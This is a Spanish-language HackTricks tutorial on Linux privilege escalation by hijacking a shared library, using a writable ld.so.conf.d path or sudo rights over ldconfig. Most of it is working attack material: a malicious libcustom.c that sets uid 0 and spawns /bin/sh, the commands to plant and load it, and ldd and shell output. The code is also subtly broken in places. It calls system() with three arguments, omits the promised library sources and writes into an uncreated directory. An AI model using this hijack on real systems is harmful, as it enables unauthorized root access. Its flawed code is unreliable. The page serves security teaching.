ld.so privesc exploit example

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Preparar el entorno

En la siguiente sección puedes encontrar el código de los archivos que vamos a utilizar para preparar el entorno

#include <stdio.h>
#include "libcustom.h"

int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
  1. Crea esos archivos en tu máquina en la misma carpeta

  2. Compila la biblioteca: gcc -shared -o libcustom.so -fPIC libcustom.c

  3. Copia libcustom.so a /usr/lib: sudo cp libcustom.so /usr/lib (privilegios de root)

  4. Compila el ejecutable: gcc sharedvuln.c -o sharedvuln -lcustom

Verifica el entorno

Comprueba que libcustom.so se está cargando desde /usr/lib y que puedes ejecutar el binario.

$ ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)

$ ./sharedvuln
Welcome to my amazing application!
Hi

Explotación

En este escenario vamos a suponer que alguien ha creado una entrada vulnerable dentro de un archivo en /etc/ld.so.conf/:

sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf

La carpeta vulnerable es /home/ubuntu/lib (donde tenemos acceso de escritura). Descarga y compila el siguiente código dentro de esa ruta:

//gcc -shared -o libcustom.so -fPIC libcustom.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}

Ahora que hemos creado la maliciosa librería libcustom dentro de la ruta mal configurada, necesitamos esperar por un reinicio o a que el usuario root ejecute ldconfig (en caso de que puedas ejecutar este binario como sudo o tenga el bit suid podrás ejecutarlo tú mismo).

Una vez que esto haya sucedido, revisa de nuevo de dónde está cargando el ejecutable sharevuln la librería libcustom.so:

$ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)

Como puedes ver, se está cargando desde /home/ubuntu/lib y si algún usuario lo ejecuta, se ejecutará una shell:

$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu

Tenga en cuenta que en este ejemplo no hemos escalado privilegios, pero modificando los comandos ejecutados y esperando a que el root u otro usuario con privilegios ejecute el binario vulnerable podremos escalar privilegios.

Otras desconfiguraciones - Misma vuln

En el ejemplo anterior simulamos una desconfiguración donde un administrador estableció una carpeta sin privilegios dentro de un archivo de configuración en /etc/ld.so.conf.d/. Pero hay otras desconfiguraciones que pueden causar la misma vulnerabilidad, si tienes permisos de escritura en algún archivo de configuración dentro de /etc/ld.so.conf.d, en la carpeta /etc/ld.so.conf.d o en el archivo /etc/ld.so.conf puedes configurar la misma vulnerabilidad y explotarla.

Exploit 2

Supongamos que tienes privilegios sudo sobre ldconfig. Puedes indicar a ldconfig de dónde cargar los archivos de conf, así que podemos aprovecharlo para hacer que ldconfig cargue carpetas arbitrarias. Entonces, vamos a crear los archivos y carpetas necesarios para cargar "/tmp":

cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf

Ahora, como se indicó en el exploit anterior, crea la biblioteca maliciosa dentro de /tmp. Y finalmente, carguemos la ruta y verifiquemos de dónde está cargando la biblioteca el binario:

ldconfig -f fake.ld.so.conf

ldd sharedvuln
linux-vdso.so.1 =>  (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)

Como puedes ver, teniendo privilegios sudo sobre ldconfig puedes explotar la misma vulnerabilidad.

No encontré una manera confiable de explotar esta vulnerabilidad si ldconfig está configurado con el bit suid. Aparece el siguiente error: /sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización